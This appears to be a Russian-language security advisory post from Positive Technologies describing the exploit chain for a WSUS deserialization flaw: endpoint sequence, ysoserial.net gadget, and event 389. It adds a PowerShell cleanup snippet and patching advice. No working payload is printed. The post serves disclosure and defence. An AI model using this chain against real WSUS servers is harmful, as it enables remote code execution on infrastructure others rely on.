Техническая цепочка эксплуатации:

Получение конфигурации — злоумышленник отправляет запрос к /ReportingWebService/ReportingWebService.asmx для получения ServerID.
Извлечение cookies — используя ServerID, выполняется запрос к /SimpleAuthWebService/SimpleAuth.asmx для получения AuthorizationCookie.
Получение криптографических данных — запрос к /ClientWebService/Client.asmx для извлечения временных меток и зашифрованной нагрузки.
Доставка полезной нагрузки — финальный запрос отправляет событие с вредоносным сериализованным объектом, созданным через ysoserial.net с гаджетом TextFormattingRunProperties, с использованием события SynchronizationCompletedCancel.

При обработке события с ID 389 (SynchronizationCompletedCancel) WSUS пытается десериализовать XML с телом ошибки, что приводит к выполнению произвольного кода.

Также в процессе эксплуатации регистрируется ложный узел с указанным DNS, в рамках которого отправляется событие. Этот процесс легко автоматизировать — например, с помощью шаблона Nuclei:

Восстановление оснастки после тестирования

После успешной эксплуатации оснастка WSUS ломается. Это происходит потому, что GUI при отображении узлов парсит их события, а у ложного узла событие повреждено и не поддается десериализации. В результате отображение узлов вызывает исключение и интерфейс перестает работать.

Для восстановления необходимо удалить вредоносное событие из таблицы tbEventInstance в базе данных SUSDB. Однако прямой доступ к БД есть только у привилегированных пользователей, а служба WSUS часто запущена от имени Network Service.

При этом служба WSUS имеет доступ к функциям, используемым в оснастке, поэтому пользователь, от имени которого получена сессия (даже Network Service), может управлять зарегистрированными узлами. Это позволяет безопасно завершить эксплуатацию и сразу восстановить оснастку.

$wsus = Get-WsusServer

Get-WsusComputer -NameIncludes "test1337.test.local" | ForEach-Object {
    $wsus.GetComputerTarget($_.Id).Delete()
}

Эта команда выполняет две важные функции:

Удаляет зарегистрированный ложный узел из базы данных WSUS;
Автоматически очищает связанное с ним событие с ID 389, использованное для доставки полезной нагрузки.

Почему это важно: без очистки в WSUS остаются артефакты — ложный узел и события в логах, что может нарушить нормальную работу службы.

Эта уязвимость демонстрирует, как критические компоненты инфраструктуры могут становиться точкой входа для злоумышленников. При проведении тестирования на проникновение важно не только атаковать, но и корректно восстанавливать систему после эксплуатации.

Что можно порекомендовать для защиты:

Установите обновления — KB5070879 / KB5070881 / KB5070882 / KB5070883 / KB5070884 / KB5070886 / KB5070887 в зависимости от версии Windows Server
Ограничьте сетевой доступ — WSUS не должен быть доступен из интернета. Используйте сегментацию сети для ограничения доступа только доверенным подсетям
Если невозможно обновить — временно отключите роль WSUS Server или заблокируйте порты 8530/8531 до установки патчей

Экспертный центр безопасности Positive Technologies (PT ESC)

(Источник: https://t.me/ptescalator)